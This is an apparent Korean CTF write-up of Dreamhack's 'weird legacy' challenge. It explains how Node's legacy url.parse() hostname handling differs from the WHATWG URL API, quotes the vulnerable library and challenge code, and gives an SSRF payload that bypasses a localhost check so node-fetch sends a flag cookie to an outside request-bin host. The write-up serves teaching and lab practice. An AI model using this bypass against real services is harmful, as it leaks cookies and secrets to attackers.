
들어가기에 앞서, 이 취약점은 v19.1.0 이전에서 적용 가능하다. 현재는 패치됐다.
WHATWG
WHATWG: 국제 웹 표준화 그룹. 여기에서 제공하는URL API로 URL을 다룰 수 있다.
Nodejs의 url라이브러리에는 WHATWG URL API와는 다르게 hostname을 파싱하는 부분이 있다. url라이브러리의 getHostname()함수가 그것이다. url라이브러리를 살펴보자.
url라이브러리의 184라인 Url.prototype.parse = function parse(url, parseQueryString, slashesDenoteHost)에서 정의된 parse 함수는
let hostEnd = -1;
let atSign = -1;
let nonHost = -1;
for (let i = 0; i < rest.length; ++i) {
switch (rest.charCodeAt(i)) {
case CHAR_TAB:
case CHAR_LINE_FEED:
case CHAR_CARRIAGE_RETURN:
case CHAR_SPACE:
case CHAR_DOUBLE_QUOTE:
case CHAR_PERCENT:
case CHAR_SINGLE_QUOTE:
case CHAR_SEMICOLON:
case CHAR_LEFT_ANGLE_BRACKET:
case CHAR_RIGHT_ANGLE_BRACKET:
case CHAR_BACKWARD_SLASH:
case CHAR_CIRCUMFLEX_ACCENT:
case CHAR_GRAVE_ACCENT:
case CHAR_LEFT_CURLY_BRACKET:
case CHAR_VERTICAL_LINE:
case CHAR_RIGHT_CURLY_BRACKET:
// Characters that are never ever allowed in a hostname from RFC 2396
if (nonHost === -1)
nonHost = i;
break;
case CHAR_HASH:
case CHAR_FORWARD_SLASH:
case CHAR_QUESTION_MARK:
// Find the first instance of any host-ending characters
if (nonHost === -1)
nonHost = i;
hostEnd = i;
break;
case CHAR_AT:
// At this point, either we have an explicit point where the
// auth portion cannot go past, or the last @ char is the decider.
atSign = i;
nonHost = -1;
break;
}
if (hostEnd !== -1)
break;
}
start = 0;
if (atSign !== -1) {
this.auth = decodeURIComponent(rest.slice(0, atSign));
start = atSign + 1;
}
if (nonHost === -1) {
this.host = rest.slice(start);
rest = '';
} else {
this.host = rest.slice(start, nonHost);
rest = rest.slice(nonHost);
}
이 부분을 통해 전달된 url에서 host를 파싱한다. url에서 #, /, ?중 하나를 발견하거나, RFC_2396에 정의된 Excluded US-ASCII Characters를 만나면 검사를 종료하고 이전 문자까지의 범위를 host로 지정한다(nonHost 까지의 부분을 host로 간주한다).

만약 해당 문자가 전혀 없다면, rest전체를 host로 간주한다. 뭐.. 여기까지는 큰 문제가 없어 보인다.
이후
// line 394
if (!ipv6Hostname) {
rest = getHostname(this, rest, hostname);
}
이 부분을 통해 getHostname 함수를 호출한다. 이 함수를 살펴보자.
// v19.0.1 code
function getHostname(self, rest, hostname) {
for (let i = 0; i < hostname.length; ++i) {
const code = hostname.charCodeAt(i);
const isValid = (code >= CHAR_LOWERCASE_A && code <= CHAR_LOWERCASE_Z) ||
code === CHAR_DOT ||
(code >= CHAR_UPPERCASE_A && code <= CHAR_UPPERCASE_Z) ||
(code >= CHAR_0 && code <= CHAR_9) ||
code === CHAR_HYPHEN_MINUS ||
code === CHAR_PLUS ||
code === CHAR_UNDERSCORE ||
code > 127;
// Invalid host character
if (!isValid) {
self.hostname = hostname.slice(0, i);
return `/${hostname.slice(i)}${rest}`;
}
}
return rest;
}
위에서 파싱된 host의 각 문자가 isValid조건에 맞는지 검사한다. 조건은
[a-zA-Z0-9] 또는 _ 또는 . 또는 - 또는 +
위와 같다. 이 범위를 벗어나는 문자가 host에 존재하면 (예를 들어 * 또는 ! 또는 =. 나머지 범위를 벗어나는 문자는 앞에서 필터링된다.) 반복을 종료하고 종료 시점의 문자 이전까지를 다시 host로 설정한다(업데이트). 나머지는 rest로 반환한다. 반면 WHATWG URL API는 url에서 host를 // 뒤에서 시작해 첫 번째 / 또는 ? 또는 #까지의 부분으로 파싱한다.
parse함수 내부에서 파싱된 host를 getHostname함수로 다시 파싱한다는 점 때문에, 공격자는 host입력 검증을 우회할 수 있다.
Dreamhack의 weird legacy문제다. 먼저 소스를 보자.
// package.json 일부
...
"keywords": [],
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.18.1",
"node-fetch": "^2.6.6"
}
...
// index.js
const express = require("express");
const node_fetch = require("node-fetch");
const app = express();
const PORT = 3000;
const FLAG = "DH{dummy}";
app.get("/", async (req, res) => {
res.sendFile(__dirname + "/views/index.html");
});
app.get("/fetch", async (req, res) => {
const url = req.query.url;
if (!url) return res.send("?url=<br>ex) http://localhost:3000/");
let host;
try {
// key part 1 start
const urlObject = new URL(url);
host = urlObject.hostname;
if (host !== "localhost" && !host.endsWith("localhost")) return res.send("rejected");
} catch (error) {
return res.send("Invalid Url");
}
// key part 1 end
// key part 2 start
try {
let result = await node_fetch(url, {
method: "GET",
headers: { "Cookie": `FLAG=${FLAG}` },
});
const data = await result.text();
res.send(data);
// key aprt 2 end
} catch {
return res.send("Request Failed");
}
});
app.listen(PORT, () => {
console.log(`Server Running on ${PORT}`);
});
node-fetch
중요한 부분은 주석으로 표시해뒀다. 먼저 key part 1을 보자.
const urlObject = new URL(url);
host = urlObject.hostname;
if (host !== "localhost" && !host.endsWith("localhost")) return res.send("rejected");
} catch (error) {
return res.send("Invalid Url");
}
new URL(url)은 WHATWG URL API로 url을 파싱하겠다는 의미다. 파싱된 host가 localhost거나, localhost로 끝나면 조건을 통과할 수 있다.
다음으로 key part 2를 보자.
try {
let result = await node_fetch(url, {
method: "GET",
headers: { "Cookie": `FLAG=${FLAG}` },
});
const data = await result.text();
res.send(data);
node_fetch(url, ...) 부분이 보인다. node-fetch라이브러리를 사용한건데, package.json 일부 부분을 보면 알 수 있듯이 2.x.x버전이다. node-fetch라이브러리도 분석해 보자. 이 라이브러리 내부에서 WHATWG URL API를 사용하지 않고 url.parse()를 사용한다면 취약점이 발생할 것이다.
// node-fetch library v2.x.x
import Url from 'url';
import Stream from 'stream';
import whatwgUrl from 'whatwg-url';
import Headers, { exportNodeCompatibleHeaders } from './headers.js';
import Body, { clone, extractContentType, getTotalBytes } from './body';
const INTERNALS = Symbol('Request internals');
const URL = Url.URL || whatwgUrl.URL;
// fix an issue where "format", "parse" aren't a named export for node <10
const parse_url = Url.parse;
const format_url = Url.format;
/**
* Wrapper around `new URL` to handle arbitrary URLs
*
* @param {string} urlStr
* @return {void}
*/
function parseURL(urlStr) {
/*
Check whether the URL is absolute or not
Scheme: https://tools.ietf.org/html/rfc3986#section-3.1
Absolute URL: https://tools.ietf.org/html/rfc3986#section-4.3
*/
if (/^[a-zA-Z][a-zA-Z\d+\-.]*:/.exec(urlStr)) {
urlStr = new URL(urlStr).toString()
}
// Fallback to old implementation for arbitrary URLs
return parse_url(urlStr);
...생략...
}
앞서 url.parse에 취약점이 존재한다는 것을 알아냈으니, 공격에 적용해 보자.
목표는 url을 WHATWG URL API로 파싱했을 때 host가 localhost로 해석되거나, localhost로 끝나도록 조작해서 검증을 우회한 뒤, node_fetch를 실행하는 것이다. 요청한 url로 플래그를 포함하는 쿠키를 보내주기 때문에, dreamhack의 request bin기능을 이용하겠다.
/fetch엔드포인트에 url파라미터로 원하는 url을 보내면 된다. 페이로드는 다음과 같이 구성했다.
https://muucnxr.request.dreamhack.games*localhost
이 url은 먼저 WHATWG URL API에 의해 host=muucnxr.request.dreamhack.games*localhost으로 파싱된다. 이는 localhost로 끝나므로, 조건문을 우회할 수 있다. 이후 node_fetch가 실행되는데, 정규표현식 /^[a-zA-Z][a-zA-Z\d+\-.]*:/을 만족하지 않기 때문에 url.parse()함수로 넘어간다.
parse함수 내부에서 첫 번째로 host를 파싱하는 부분에서는 걸리는 것 없이 host를 똑같이 유지한다. 하지만 이후 getHostname 함수에서 *문자가 isValid의 조건에 걸리기 때문에, *문자 이전까지만 host로 다시 파싱된다. 따라서 host는 muucnxr.request.dreamhack.games가 된다.
단계별 host의 변화
- url파라미터에 값 전달 :
https://muucnxr.request.dreamhack.games*localhost- host = urlObject.hostname;에 의한 파싱 :
muucnxr.request.dreamhack.games*localhost- node-fetch 내부에서의 파싱 :
muucnxr.request.dreamhack.games
이렇게 서버로 하여금 원하는 url에 요청을 보내게 만들었다. 쿠키를 확인하면 플래그를 얻을 수 있다.

url library : https://github.com/nodejs/node/blob/v19.0.1/lib/url.js
node-fetch library : https://github.com/node-fetch/node-fetch/blob/2.x/src/request.js
rfc 2396 : https://datatracker.ietf.org/doc/html/rfc2396#section-2.4.3
rfc 3986 : https://www.rfc-editor.org/rfc/rfc3986#section-2.2